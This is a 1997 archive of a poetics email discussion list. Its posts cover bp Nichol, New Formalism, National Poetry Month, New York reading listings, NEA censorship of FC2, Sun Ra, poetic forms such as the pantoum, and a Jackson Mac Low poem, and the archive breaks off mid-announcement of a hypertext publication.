2) I've never seen "nude" works by Kwang, though after seeing his work, you might feel embarrassed by asking such a "skin-deep" question.

3) Flaccid or erect? In the photos I've seen, his beautiful, creative cock is flaccid.

Kent

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680. **KENT JOHNSON**

Re: bp/bob

Tue 25 Mar 1997

> *Date sent: Tue, 25 Mar 1997 20:28:22 -0500*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Matt Kirschenbaum <[redacted]>*
> *Subject: Re: bp/bob*
> *To: [redacted]*
>
> *Chris:*
>
> *In your fantaastic long post (which I have to still go back to digest), you refer to Bob Perleman as "bp." May I ask that you don't do so any more? This confuses him with a poet that I suspect Bob Perelman would agree is bound to be (if justice is to be done) of more historical import than he: bp nichol. Let's keep bp as bp and Bob Perleman as Bob Perleman, or Ivy Bob, or just Bob P., or whatever.*
>
> *thanks, Kent*
>
> *Is this a joke, or is that asteroid closer than we think?*
>
> *--Matt*
>
> *==========*
> *Matthew G. Kirschenbaum University of Virginia*
> *[redacted] Department of English*
> *http://faraday.clas.virginia.edu/~mgk3k/ Electronic Text Center*

Joke? That bp nichol is a writer light years beyond what Bob Perelman or nearly all of us could aspire to? No, Matt (pat on the head) Kirschenbaum. Is Bob P. on your dissertation committee? Hurry up and defend your thesis, 'cause the big one is on its way!

Kent

↑ Index

681. **KENT JOHNSON**
bpNichol
Tue 25 Mar 1997

Matt:

Yes, pat me on the head here. bp would love this fair jousting over his name. But you got me on this round. I'm in the dust. Where's the "H" where you need him or her? I'll be looking up your thesis!

Kent

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682. **Sylvester Pollet**
Re: THEY WANNA COVER US WITH MARGARINE(alization)
Tue 25 Mar 1997

Thanks for that report, Chris. And don't worry about hogging time/space when you're providing info/analysis that many have called for! Now, could you, or anyone, give me some events/readings happening March 27-30? I'll be in NYC, & plan to visit Granary, etc. Missed that party, The margerine thing, and the NYU too late for me. The Marginalization of Maine. I must say, the list really helps. & Welcome back Bromige! Sylvester

↑ Index

683. **Jordan Davis**
Re: In Other News....
Tue 25 Mar 1997

Just wanted to second Chris's nod to Joe Ross's passionate and droll _Fuzzy Logic Series_ from Texture Press, a sort of self-portrait in a _concave_ oh man I won't put you all through that. "An old woman walks in the rain, homeless but with an umbrella passed bars of driving lightning..." .. Jordan

↑ Index

684. **William Burmeister Prod**
Re: boredom, poetry, questions
Tue 25 Mar 1997

> *It also strikes me that this discussion of boredom is linked with either flight or transformation: either one runs from what is boring towards what is not boring, or one sticks with what is boring until it is no longer boring.*
> *What if it's boring for years? What if it will always be boring? When is it time to quit? After you receive the gold watch?*

The words flight and transportation make a nice addition to the vocabulary of this thread.

It's possible to deceive oneself for a reason. I would only say that everything has its limits, and besides, we will all eventually run out of time.

BB

↑ Index

685. **Jordan Davis**
NYC EVENTS MAR 27-30 for S Pollet
Tue 25 Mar 1997

March 27

LYN HEJINIAN and TRAVIS ORTIZ at POETRY CITY
7 p.m. at Teachers & Writers, 5 Union Sq W, NYC (free)

followed immediately by

TENDER BUTTONS BENEFIT PARTY
8:30 p.m. at Segue, 303 E 8th St NYC

We will be shuttling people from T&W to Segue via the secret ski lift .. you can make both events! Sylvester, I do hope that we'll get to see you at both.

As for the rest of you, tell everyone you know that there's a new starting time for Lee Ann's party, and make sure to tell people you don't know about the Hejinian/Ortiz reading.

All best,
Jordan

↑ Index

686. **KENT JOHNSON**
Re: FC2 vs. Hoekstra
Tue 25 Mar 1997

Hugh:

Good point. I just received two mailings from a former colleague who currently teaches at U or Kent/Salem with Doug Rice, the author of _Blood of Mugwump_, the work under investigation, and a book that is, no question, pushing the edge. Actually, the book makes me want to puke. But I suppose that's the whole issue here. If something is truly out there, and is out there no matter how out there (and here we are talking about CONTENT in the first instance folks--check it out), what do we do when it is threatened with censorship by the state? I have copies of the letters written by the Christian Coalition Congressional

Representatives in question who are trying to use this as an issue to permanently erase all government funding for the arts--I'll post more info when I get these from home and give addresses, etc. But isn't this an urgent thing to consider on this list? As Hugh points out, who's next?

Kent

> *Date sent: Tue, 25 Mar 1997 20:28:29 -0600*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Hugh Steinberg <[redacted]>*
> *Subject: FC2 vs. Hoekstra*
> *To: [redacted]*
>
> *Has anything happened recently with Rep. Hoekstra, the NEA, and the investigation of FC2/Black Ice?*
>
> *The whole thing raises my hackles. If they go after them, it won't be long before they come after us.*
>
> *Hugh Steinberg*

↑ Index

687. **Maria Damon**

Re: dichotomous/Bk of Forms (Turco)

Tue 25 Mar 1997

At 9:18 PM -0500 3/24/97, Dave Zauhar wrote:
>>At 11:11 PM -0500 3/23/97, henry wrote:
>>>I'm using the old Turco, thin red, which is heavy on obscure Welsh forms.
>>>Just finished a Portuguese riff, the "glose". Like an enlarged carol.
>>>- HG
>>
>>i was on a panel w/ turco a few yrs ago, i talked about jack spicer and
>>camp as subaltern wit; he looked mortified (bright red apoplectic furious)
>>to be on a panel where someone was talking about queers, later he said that
>>women were taking jobs away from men in the academy these days (a bit like
>>our recent discussion about "identity politics"?) ...that was my intro to
>>the "new formalism." hank, i respect and enjoy your eclecticism in matters
>>poetic, but turco? nein danke.
>
>Hey, I was in the audience for this (was it MMLA or MLA? Chicago or
>Washington? Anyway) if I remember correctly Diane Wakowski was the third
>panelist, and she also apparently got on his nerves, because within a year
>he published a hissy-fit disguised as an essay attacking her views on the

>politics of form (which are open to criticism, but you could tell by the
>ferocity of his "essay" that she got under his skin). Mercifully, I missed
>the wounded white guy screed.
>
>Dave Zauhar

yeah, wakoski was one of the four of us. she also insisted that spicer's only interest was "poetry" (i.e. stay away from those queer politix, little girl --as if there's such a thing as "only poetry") but at least she wasn't turco, and didn't add insult to injury by implying that women were responsible for the job shortage.

↑ Index

688. **hen**
Re: dichotomous/Bk of Forms (Turco)
Tue 25 Mar 1997

On Tue, 25 Mar 1997 08:55:34 -0600 Maria Damon said:
>girl --as if there's such a thing as "only poetry") but at least she wasn't

There is such a thing as only poetry. It's just hard to write disses on it these days unless you relate it to something else. I'm starting a new school of poetry, folks, for those of you for whom Providence School is too heavy on heaven. It's called Edg.po - here are the guidelines for joining THIS new school:

1. Ephebes will have to make a good-faith effort to write only poetry for a while.

2. Ephebes will through trial and error & exploration over the millenia try to infuse either the whippoorwill-effect (Russians), the mockingbird- effect (Ghould), the pendulum-effect (Valery), and/or the boomerang-effect (Edgar Poe) into their poetic compositions.

3. Each member of the Edg.po school will NOT be required to write a lengthy treatise or compile an anthology illustrating one or more of the above modes of Edg.poetics. This will be done by the grad students - not to worry.

4. Edg.poets will wear little black string ties, shoes that are too small for them, and walk around with a pained look most of the time. They will remain for long periods in their place of residence and will not attend conferences or ham it up with their compadres - no shop talk allowed. They will correspond in longhand with their readers at large - that is IT, folks.

- Henry Gould, Edg.poet (today I will take a walk down Benefit St, where Eddie had maybe his last (& most famous) photo taken (the one with the pained look), drunkenly wooed the demure Helen Whitman, and got ready to die.) a.k.a. the Ghoulish Raven of the Revenge of the Scriptor

↑ Index

689. **Maria Damon**
Re: four melismas
Tue 25 Mar 1997

At 12:17 AM -0800 3/25/97, Franklin Bruno wrote:

> *4) Could Maria (or anyone) tell me where to look for info on Sun Ra's gayness? I've never encountered this in print, even (unless I've forgotten) in John Corbett's excellent -Extended Play-, which has a great chapter on alien-ness in Sun Ra and George Clinton.*

thanks for the citation! i'm working on bob kaufman's poem "THE POET" as, among other things, an expression of this identity-related (but not identity- determined, so don't all you anti-identitarians jump all over me!) sense of alien-ness and/or mission, and this essay shd help. apparently there is debate about sun ra's sexuality. my info came second-hand, from a coupla friends who follow the sun ra list (i haven't signed up yet). one member of the band claims to have had sex w/ sun ra, but others say he was not gay but simply not sexually active due to some kind of problem w/ his genitals (herniated testicle???). again, this is not definitive reportage on my part. xo, md

↑ Index

690. **Loss Glazier**
National Poetry Month Disccusion area for Librarians (fwd)
Tue 25 Mar 1997

Please send suggestions to these folks.

> *---------- Forwarded message ----------*
> *Date: Mon, 24 Mar 1997 08:16:45 -0500 (EST)*
> *From: Tom Bevan <[redacted]>*
> *To: Library and Information Technology Association List*
> *<[redacted]>*
> *Subject: National Poetry Month Disccusion area for Librarians*
>
> *I hope this doesn't junk up anyone's mailbox with materials they don't want, but I'd like to tell as many librarians as possible about a forum we've created on our web site (http://www.poets.org) where librarians can share their ideas about how to participate effectively in National Poetry Month.*
>
> *Some ALA people we work with suggested that librarians would really welcome the opportunity to share National Poetry Month ideas with each other, if we would only create a place where they could do it.*

> *We've created such a place, but unfortunately it doesn't seem to be getting much use. I'm hoping it's just a matter of librarians being unaware of its existence.*
>
> *Thus, I'd like to invite you to visit www.poets.org and look under the heading of "National Poetry Month" for an area called "Forums". If you know a lot about poetry already, we hope you will go there to provide advice to those librarians who don't. And, if you'd like to get ideas about things you can do, we hope you'll post your questions there as well.*
>
> *Thanks to all of you.*
>
> *Kindly,*
>
> *Tom Bevan*
> *National Poetry Month Coordinator*
>
> *P.S. You'll find that, with the help of Poets House in New York, and ALA, we've provided some tips to get you started, in the "Resources" area of the site.*

↑ Index

691. **Sylvester Pollet**

Re: NYC EVENTS MAR 27-30 for S Pollet

Tue 25 Mar 1997

Jordan, thanks, that's perfect! I'm pretty sure I'll be able to make both--have to check with my othered significant (who, on another thread, manages to paint just fine without one of those appendages).

> *March 27*
>
> *LYN HEJINIAN and TRAVIS ORTIZ at POETRY CITY*
> *7 p.m. at Teachers & Writers, 5 Union Sq W, NYC (free)*
>
> *followed immediately by*
>
> *TENDER BUTTONS BENEFIT PARTY*
> *8:30 p.m. at Segue, 303 E 8th St NYC*
>
> *We will be shuttling people from T&W to Segue via the secret ski lift .. you can make both events! Sylvester, I do hope that we'll get to see you at both.*
>
> *As for the rest of you, tell everyone you know that there's a new starting*

> *time for Lee Ann's party, and make sure to tell people you don't know about the Hejinian/Ortiz reading.*
>
> *All best,*
> *Jordan*

↑ Index

692. **henry gould**
edg.po add.endum
Tue 25 Mar 1997

---

just to forstall any grad student queries out there:

"Nedge" is a math term, shorthand for "number of edges"

- HG, edg.po

↑ Index

693. **Douglas Barbour**
Re: dichotomous/Bk of Forms
Tue 25 Mar 1997

"With regard to 'Neo-Formalism': ever since I studied linguistics when I was a kid, it's bothered me that the word 'Formalist' has been used to talk about exactly the opposite people from those whom I think of as Formalists, to talk about people who would never question ideas of form, but are only interested in what they call content, and are really happy to use whatever Edward Arlington Robinson used in their versification. What is called Formalism displays no interest in Formalism at all. That's not what is meant by Formalism in talking about European painters of the early twentieth century. If they had not been Formalists they would have been doing Poussin." George Bowering, on a panel in Ottawa, 1986. I've always liked this statement, & I tend to think it's on the nose.

Have to admit that in my classes I tend to be as specific as I can about formal aspects of the students' poems, & try to get them to ask questions along those lines, not specifically about 'content' (?) as such. But setting some formal challenges can help them to see that working on the challenge often frees new content into being. bpNichol always talked about that: he sought new forms in order to free up possible statments he might not otherwise make, especially if he stuck with the way of saying things he already knew too well.

========== Douglas Barbour
How long Department of English

University of Alberta it takes for the promise to arrive, Edmonton
Alberta T6G 2E5 shaped as a flirt, a cheating [redacted]
FAX:[redacted] kiss, a whistle, an ambulance. H: [redacted]
John Tranter

↑ Index

694. **Robert Hale**
NY READINGS
Tue 25 Mar 1997

SATURDAY APRIL 5TH 8:00PM

SEGUE 303 E.8th Street

GOLDEN BOOKS BLOW OUT

Jordan Davis
Robert Hale
Sam Truitt

SUNDAY APRIL 6TH 4:00PM

EDUCATIONAL ALLIANCE 197 East Broadway

Robert Hale
Sam Truitt

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695. **Pritchett,Pat**
Re: Is there a National Poetry Month?
Tue 25 Mar 1997

The idea of a National Poetry Month was recently attacked by Richard Howard in a speech reprinted in the latest Harpers. Basically, he says that the idea of such a "celebration" ghettoizes poetry, reducing it from something lofty and "millennial" to something commodified and sanitized, on a par with National Secretary's Week.

Of course this is "the logic of late capitalism" and while I'm inclined to agree with him in a way, his denunciation begs the question of the relationship between poets and the public: who is the audience for poetry and isn't that audience in fact not one but many? Poetry, I've often thought, needs all the press it can get and yet - writing poetry is also a wager that the poem will eventually "find" its reader, thus obviating the need for "crass" promotionalism. Ultimately, gestures like National Poetry Month wld seem lost on its intended recipients. But if it leads just a few people to pick up some poetry books, well then, why not?

That's as far as I can think this morning.

Still dreaming of Juliette Binoche,
Patrick Pritchett

↑ Index

696. linda v. russo
Retallack essay
Tue 25 Mar 1997

Fiona, dodie, Jena etal.

I see I'm jumping in a bit late here to put in my plug for Joan Retallack's amazing :RE:THINKING:LITERARY:FEMINISM:

but _Feminist Measures_ is pub'd by U of Mich.Press. I'm sure it's
still in print.
--
linda v. russo
[redacted]

↑ Index

697. David Bromige
what am i doing wrong
Tue 25 Mar 1997

I hadnt expected quite so many people to know the answer to my question.

Thanks folks, all is clear now. I hadnt unsubbd, I had merely stopmailed. db

↑ Index

698. David Bromige
formalism
Tue 25 Mar 1997

I found myself agreeing enthusiastically with the comments relayed by Douglas Barbour today, and I believed they were his. "Right on, Douglas!" I was saying, "I myself always say 'the trouble with the Neo-Formalists is that they're not nearly Formalist enough.'" Imagine, then, with what chagrin I found he had led me into agreeing with a comment (and a decade-old comment at that) by George Bowering.

"How is the poem built up?" Is what I always ask students, just that it's what i always wonder. "What keeps one reading?" is potentially handy, also. Think of _Malone Dies_ .

******

Having thoroughly enjoyed Stroffolino's assessment of something that happened in NYC lately, what a joy to receive his Dogberry essay in today's mail. Am still reading with grateful pleasure Steve Evans kickoff essay in this new series. And this, while reading with the same emotions Jennifer Moxley's _Imagination Verses_ . I know this book has been praised to the list (by the list) before, but what harm in praising it again?

db

↑ Index

699. **Joe Safdie**

Re: Is history dead?

Tue 25 Mar 1997

Juliette Binoche was really classy, wasn't she -- except for that rather ghoulish (sorry, Henry) dress. I think she was the best thing about "The English Patient," which I found rather empty at the core -- the movie, I mean, not the book.

BUT -- Pat's mention of the latest Harper's makes me wonder if anyone here is interested in responding to Lewis Lapham's challenge -- in an extended three-part essay, the first two of which have now been published -- of the impossibility of writing (historical) narrative in a culture organized solely around media images. Here's some quotes:

"The sensibility shaped by the electronic media over the last forty-odd years has by now acquired a distinctive form--impatient, easily bored, geared to increasingly short bursts of attention, intuitive, musical, tuned to abrupt changes of mood and scene. Most importantly, it is a senbsibility bereft of memory."

"Three years ago at Yale I taught a course of English composition and found only four of twelve students capable of writing a well-arranged paragraph -- not because they weren't intelligent but because they had never acquired the habit of reading. Familiar with a vast archive of visual images, they could easily recall scenes and fragments of scenes from {he mentions several movies and TV shows here} but books were grim tasks instead of pleasant diversions, foreign objects, unfamiliar and vaguely ominous, meant to be studied as if they were cancer cells . . ."

And, finally, he quotes the historian Bernard DeVoto (his _1846: Year of Decision_ is a great book on American history, recommended by Pound and Olson, among others) on Gertrude Stein:

". . . but how do we write history in a language like Gertrude Stein's, one that floats freely 'in a medium of pure caprice sustained by nothing except its awareness of its own inner wondrousness' ".

As I say, he's talking mainly about the writing of history, but I think his remarks can be extended to all narrative writing -- I was just wondering if anyone who's read it had any response.

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700. **David Israel**
edg.po
Tue 25 Mar 1997

Henry (et alia)--

Am interested in your new-school notes, partly bec. the "Ephebes" admonishments remind (not irrelevantly?) of Wally Stevens (whom I admit to liking) & partly for other reasons not yet much investigated.

Now, in re: Poe's (?) "boomerang effect" -- quoth you,

<< 2. Ephebes will through trial and error & exploration over the millenia try to infuse either the whippoorwill-effect (Russians), the mockingbird- effect (Ghould), the pendulum-effect (Valery), and/or the boomerang-effect (Edgar Poe) into their poetic compositions. >>

f.y.i., a few years ago, I invented (so I thought) a form of poem which I styled the "boomerang poem" -- actually, I borrowed same from some medieval Chinese sources (not now sure who'all; I've seen a couple in translation somewhere, but others I was saw in untranslated books while browsing the hundreds, nay thousands such hidden volumes away on upper levels of the East Asiatic Library at UC Berkeley [where I worked shelving books, circa '79]) . . . anyway, here's one specimen of a boomerang poem (from an early '90s summer) [better to illustrate than merely to laboring out a description):

| this is where the meeting oft' convenes
| this is where the circus plants the tent
| through this window watch the limpid scenes
| by this river hear the soft lament
| fragrant flowers gather here their scent
| leafage here attains the coolest greens
| in this box a myriad dreams are pent
| this is where the meeting oft' convenes

[boomerang, here, signifying final line = first line, ergo boomerang; & rhyme-form being ABAB BABA (or alternatively, ABAB CACA)]

My problem w/ your new school though, Henry, mainly involves dictum #1. Epheebe though I be, I'll not presently swear off no-po writing. (Specially not now when I'm just getting going with some such.)

Thanks anyway, will be interested in developments withal.

d.i.

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701. **DS**
Re: THEY WANNA COVER US WITH MARGARINE(alization)
Tue 25 Mar 1997

DIRECT
>EVIDENCE of how academia dulls people and used some VERY interesting
>DOWNSTREAM metaphor in which I would like to cast myself as the missing
>SALMON swimming upstream....

sorry mate - role taken,

dan S.

↑ Index

702. **henry gould**
Re: dichotomous/Bk of Forms
Tue 25 Mar 1997

---

right on, Doug. But then some of the greatest painters & poets of this century (Max Beckmann, W. Stevens) specifically repudiated formalism al- together. Maybe because they were grappling with a more basic art issue: finding a connection, a bridge, a continuum, between the general and the specific, the symbolic and everyday experience, the tradition of art and the real. There is no quick fix or ornamental flavor to their work, no form for utility's sake. Has to be lived & felt (at least vicariously). Art as search for truth &authenticity, not display of mastery. (But forms - CAN be made to feel & speak - transcend their formalities. And maybe making old forms work again is a way of saying - all formalisms are equal.) & right on, George. -HG edg.po

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703. **henry gould**
Re: edg.po
Tue 25 Mar 1997

David, thanks for poem & scholarly interest in Poe's boomerang. In my book a great generator of the boomerang effect is the Malayan form the pantoum

(abab bcbc cdcd etc. until xaxa). The pantoum echoes twice but if the poem has any momentum it has a dizzying vibration-effect - like you're hearing MORE than one echo. Now as to Poe's boomerang effect. This has a couple of meanings. On the ur-cult-ur-ologic-ur-l level, it simply refers to the fact that a dead American Poet became a live French Symbolist. I'm trying out this effect over in Russia, as we speak. Now specifically on the comp-o-sition-ur-l level (which is related to the other): Valery's pendulum-effect is in effect a miniaturized, highly calibrated/refined version of the boomerang-effect; in fact Poe satirized this situation ahead of time in his story (prose!) _The Pit and the Pendulum_, which is about how cutting edge continental writing emerged from the pits of Baltimore & New York - it has to do with that edgy Angoisse du Neant, so popular among decadent symbolists - Poe would have laughed his head off (not literally). - HG edg.po

↑ Index

704. **maz881**

don't know. just requested to wear my hat.

Tue 25 Mar 1997

---

this pilfered from harris schiff's web site $lavery, a maclow piece read at St Marks during the conference on content last year.

http://soho.ios.com/~harris4

Content

Content or content
What is this about
The words speak for themselves or do they

Wherever there are words there's content
What is the subject of this poem
Are you content with what the words say

Writing is not talking
Poems are not freight cars
What are you getting at

I do not understand your poem's form
Some say form is extension of content
The other way around seems just as likely

Are the words the content
Many say the meaning is the content
Do they mean meaning or meanings

What about the poems
Where one word has led to another
And the meaning is enacted by perceivers

And the other kind of poem
Where the poet has one thing to say
And says it

No wonder there are poetry wars

Some poems are made by invented procedures
The poet faithfully carries out
Neutral as a referee

Other poems seem to come
Directly from the mind of the poet
What was in the mind's what's on the page

Many poems come to be
Between the mind and the mouth and the page
Or both in the mind and the mouth and on the page

Many poets are partisans
Only one way of writing is right
Others are wrong

For other poets one way of writing
Is right for making some poems
Other ways for other poems

Some want only what they mean to say
To be conveyed
To readers and hearers

Others welcome many
Among a multitude of meanings
But not all of them

A very few let the poems
Mean whatever they mean
To whomever they reach

They are content
With the meanings that come to be
As the words are seen or heard

Many believe one kind of meaning
Is far more important than others
And deplore the absence of that kind

The catchword is privilege
Some privilege political meanings
Others religion or morality or the real

And a few poets privilege private meanings
Ones that are theirs and no one else's
That never would have come to be without them

Some write poems
Only to get such a privileged meaning
Across

Some want poems to cause actions
Others seek changes in consciousness
Many want themselves to come across

And a few desire chiefly
That the poems come to be
More than makers they are midwives

The coming-to-be of the poems
That each poem becomes itself
Contents the midwife poet

But that contentment never lasts
So poets' midwifery
Proliferates new poems

And soon the poems of all the kinds of poets
May proliferate and interpenetrate
Throughout our space and time

Will this end the poetry wars

Jackson Mac Low
New York: 29-30 April, 2-4 May
1996

↑ Index

705. **Mark Weiss**
Re: Is history dead?
Tue 25 Mar 1997

The question isn't how to write history in Gertrude Steinese, but why? A fork is good for what it's made for, but it's a lousy shovel. I agree that Juliette Binoche would have looked better if she hadn't been wearing a dress.

At 11:20 AM 3/25/97 -0800, you wrote:
>Juliette Binoche was really classy, wasn't she -- except for that rather
>ghoulish (sorry, Henry) dress. I think she was the best thing about "The
>English Patient," which I found rather empty at the core -- the movie, I
>mean, not the book.
>
>BUT -- Pat's mention of the latest Harper's makes me wonder if anyone
>here is interested in responding to Lewis Lapham's challenge -- in an
>extended three-part essay, the first two of which have now been published
>-- of the impossibility of writing (historical) narrative in a culture
>organized solely around media images. Here's some quotes:
>
>"The sensibility shaped by the electronic media over the last forty-odd
>years has by now acquired a distinctive form--impatient, easily bored,
>geared to increasingly short bursts of attention, intuitive, musical,
>tuned to abrupt changes of mood and scene. Most importantly, it is a
>senbsibility bereft of memory."
>
>"Three years ago at Yale I taught a course of English composition and
>found only four of twelve students capable of writing a well-arranged
>paragraph -- not because they weren't intelligent but because they had
>never acquired the habit of reading. Familiar with a vast archive of
>visual images, they could easily recall scenes and fragments of scenes
>from {he mentions several movies and TV shows here} but books were grim
>tasks instead of pleasant diversions, foreign objects, unfamiliar and
>vaguely ominous, meant to be studied as if they were cancer cells . . ."
>
>And, finally, he quotes the historian Bernard DeVoto (his _1846: Year of
>Decision_ is a great book on American history, recommended by Pound and
>Olson, among others) on Gertrude Stein:
>
>". . . but how do we write history in a language like Gertrude Stein's,
>one that floats freely 'in a medium of pure caprice sustained by nothing
>except its awareness of its own inner wondrousness' ".
>
>As I say, he's talking mainly about the writing of history, but I think
>his remarks can be extended to all narrative writing -- I was just
>wondering if anyone who's read it had any response.
>
>

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706. **David Israel**
Re: edg.po / pantoum
Tue 25 Mar 1997

---

ah the great pantoum pantaloon --

have seen 2 instances (& liked 'em both, esp. the 1st):

*John Ashbery's admirable "Hotel Latraemont" [pardon spelling?], which appeared in The New Yorker in '90 -- (I snatched it up for appropriation of lines into paintings); later JA so titled his next collection-book (i.e., eponymously); also

*Agha Shahid Ali read a good-sounding one (but it whizzed by bit to quick to absorb it)

yep, a likeable form. You write,

<< Now as to Poe's boomerang effect. This has a couple of meanings. On the ur-cult-ur-ologic-ur-l level, it simply refers to the fact that a dead American Poet became a live French Symbolist. >>

perhaps I shd. do homework rather than pestering w/ questions -- but, um, what might that mean, one wonders? Does this refer to posthumous critical reception / appraisal of Poe in France? (was he the Jerry Lewis of his century?) . . .

<< I'm trying out this effect over in Russia, as we speak. >>

meaning: introducing Poe there? -- or ?

Henry, it's only as I start reading your explication as regards

<< Valery's pendulum-effect . . . in fact Poe satirized this situation ahead of time in his story (prose!) _The Pit and the Pendulum_, which is about how cutting edge continental writing emerged from the pits of Baltimore & New York . . . >>

that it slowly dawns on me I'm taking you as credulously seriously, here, as I lately took your report concerning Blarnes Sahib --

(slow learner, as they say)

did you know, btw, that Edgar A. found special resonance among certain fallen aristocratic literati of antebellum neoHellenic Atlanta GA & thereabouts, -- albeit their increasingly penurious & hapless descendants (Poe white trash, so-called) did but little to salvage the old legacy . . .

(me po' attempt at following in auguster footsteps)

d.i.

↑ Index

707. Stephen Cope
Re: four melismas
Tue 25 Mar 1997

Franklin, Maria, and others:

That Sun Ra was gay is a "rumour" that seems to have taken the leap from that staus to the status of "truth" among those who would whisper. I've often heard it mentioned in conversation as if it was common knowledge. I know of no books which deal with it explicitly (Val Wilmer's _As Serious As Your Life_ might make breif mention). It was a ridiculous point of contention on the Sun Ra list a while back (maybe a year), prompting an alarming flurry of homophobic responses, and finally prompting my own signoff. One thing that I know can be gleaned from Wilmer's book is that Sun Ra was most definitely a misogynist (he was apparently very vocal about his desire to exclude women from membership in Bill Dixon's Jazz Composer's Guild, among other things). How much these two aspects of Ra are connected I don't know. Nor do I know the extent to which they influenced his music. Some informed speculation about the latter would certainly be welcome considering the dearth of gender/sexuality-related critical work in music studies (If anyone, by the way, knows of books on this topic, let me know either here or backchannel - thanks). In a less (and more) related vein: Sun Ra was also a poet who produced a large body of lyrical work, where his cosmological views are often very apparent...

ok, best to all,

Stephen Cope

ps - I second the Corbett book. I'd consider him one of the more interesting theorists of music working...

↑ Index

708. F.A. Templeton
The Margaretization
Tue 25 Mar 1997

Dear Chris Stroffolino:

Thank you for taking the trouble to write that report on the discussion of the papers on the book of the poem entitled the m of p in relation to the academy.

Dear Chris Mann,

What's your beef with about as such? Despite the above. See my Talk About About, in a Raddle Moon I forget which number, recently reprinted in the 94-5 Gertrude Stein anthology. About would be on all sides.

Fiona

↑ Index

709. **Maria Damon**
Re: four melismas
Tue 25 Mar 1997

At 3:32 PM -0800 3/25/97, Stephen Cope wrote:
...
>
 (If anyone, by the way, knows of books on this topic {music and gender studies], let me know
>either here or backchannel - thanks).

susan mcclary, now at ucla, has done a great deal of feminist work in musicology. her husband rob walzer (walser?) (also at ucla) has done work on masculinity in heavy metal. in addition, a lot of work on and by gay men and opera has appeared in the last couple of years, including wayne koestenbaum's the queen's throat, and something by richard mohr (?) on wagner i blieve.

md

↑ Index

710. **William Burmeister Prod**
Re: Is there a National Poetry Month?
Tue 25 Mar 1997

Patrick writes:

> *The idea of a National Poetry Month was recently attacked by Richard Howard in a speech reprinted in the latest Harpers. Basically, he says that the idea of such a "celebration" ghettoizes poetry, reducing it from something lofty and "millennial" to something commodified and sanitized, on a par with National Secretary's Week.*

Was Angelou doing the inauguration lofty? The problem is largely the profuse amounts of corn porn (I think that is Perelman's phrase) that accompany any media version of late American poetry. The media and whoever else gives a damn will seek out the officially licensed and bonded poets of the land for nice comments. Come on folks, we're talking full-blown hegemonalization here!

> *Of course this is "the logic of late capitalism" and while I'm inclined to agree with him in a way, his denunciation begs the question of the relationship between poets and the public: who is the audience for poetry and isn't that audience in fact not one but many? Poetry, I've often thought, needs all the press it can get and yet - writing poetry is also a wager that the poem will eventually "find" its reader, thus obviating the*

> *need for "crass" promotionalism. Ultimately, gestures like National Poetry Month wld seem lost on its intended recipients.*

Social realist and populist sentiments on the part of any poetry spokesperson not withstanding, a secret readership of one individual at a time will always exist as long as the goods are put out there (text and speech),and therein lies the rub.

Good questions that will spurn a new and lively thread I hope.

BB

↑ Index

711. **William Burmeister Prod**
Re: Is there a National Poetry Month?
Tue 25 Mar 1997

> *Still dreaming of Juliette Binoche,*

Did anyone else see the Charley Rose interview of Juliette Binoche on PBS?

BB

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712. **Charles Alexander**
come on
Tue 25 Mar 1997

Is this list going to turn into "boys talking about Juliet Binoche?" I seriously hope not, and I imagine some list-folk are offended.

↑ Index

713. **Matt Kirschenbaum**
Re: bp/bob
Tue 25 Mar 1997

> *Chris:*
>
> *In your fantaastic long post (which I have to still go back to digest), you refer to Bob Perleman as "bp." May I ask that you don't do so any more? This confuses him with a poet that I suspect Bob Perelman would agree is bound to be (if justice is to be done) of more historical import than he: bp nichol. Let's keep bp as bp and Bob Perleman as Bob Perleman, or Ivy Bob, or just Bob P., or whatever.*
>
> *thanks, Kent*

Is this a joke, or is that asteroid closer than we think?

--Matt

==========
========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k/ Electronic Text Center

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714. **DS**

Re: Is history dead?

Tue 25 Mar 1997

What really irritated me was her underwear. IN WARTIME italy - Now i wasn't there, so if anyone was they are welcome to correct me, but i find it hard to believe such underwear was readily available.

& i sure can't rememember them from the book.

At 02:12 PM 3/25/97 -0800, you wrote:
>The question isn't how to write history in Gertrude Steinese, but why? A
>fork is good for what it's made for, but it's a lousy shovel.
>I agree that Juliette Binoche would have looked better if she hadn't been
>wearing a dress.
>
>At 11:20 AM 3/25/97 -0800, you wrote:
>>Juliette Binoche was really classy, wasn't she -- except for that rather
>>ghoulish (sorry, Henry) dress. I think she was the best thing about "The
>>English Patient," which I found rather empty at the core -- the movie, I
>>mean, not the book.
>>
>>BUT -- Pat's mention of the latest Harper's makes me wonder if anyone
>>here is interested in responding to Lewis Lapham's challenge -- in an
>>extended three-part essay, the first two of which have now been published
>>-- of the impossibility of writing (historical) narrative in a culture
>>organized solely around media images. Here's some quotes:
>>
>>"The sensibility shaped by the electronic media over the last forty-odd
>>years has by now acquired a distinctive form--impatient, easily bored,
>>geared to increasingly short bursts of attention, intuitive, musical,
>>tuned to abrupt changes of mood and scene. Most importantly, it is a
>>senbsibility bereft of memory."
>>
>>"Three years ago at Yale I taught a course of English composition and

>>found only four of twelve students capable of writing a well-arranged
>>paragraph -- not because they weren't intelligent but because they had
>>never acquired the habit of reading. Familiar with a vast archive of
>>visual images, they could easily recall scenes and fragments of scenes
>>from {he mentions several movies and TV shows here} but books were grim
>>tasks instead of pleasant diversions, foreign objects, unfamiliar and
>>vaguely ominous, meant to be studied as if they were cancer cells . . ."
>>
>>And, finally, he quotes the historian Bernard DeVoto (his _1846: Year of
>>Decision_ is a great book on American history, recommended by Pound and
>>Olson, among others) on Gertrude Stein:
>>
>>". . . but how do we write history in a language like Gertrude Stein's,
>>one that floats freely 'in a medium of pure caprice sustained by nothing
>>except its awareness of its own inner wondrousness' ".
>>
>>As I say, he's talking mainly about the writing of history, but I think
>>his remarks can be extended to all narrative writing -- I was just
>>wondering if anyone who's read it had any response.
>>
>>
>
>

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715. Robert Kendall
New Hypertext Poem: A LIFE SET FOR TWO
Tue 25 Mar 1997

An announcement from Eastgate Systems that should be of interest to this list:

> *EASTGATE QUARTERLY REVIEW OF HYPERTEXT*
> *volume 2 number 4*
> *A LIFE SET FOR TWO by Robert Kendall*
> *and*
> *GENETIS: A RHIZOGRAPHY by Richard Smyth*
>
> *The latest issue of the Eastgate Quarterly Review of Hypertext is now available.*
>
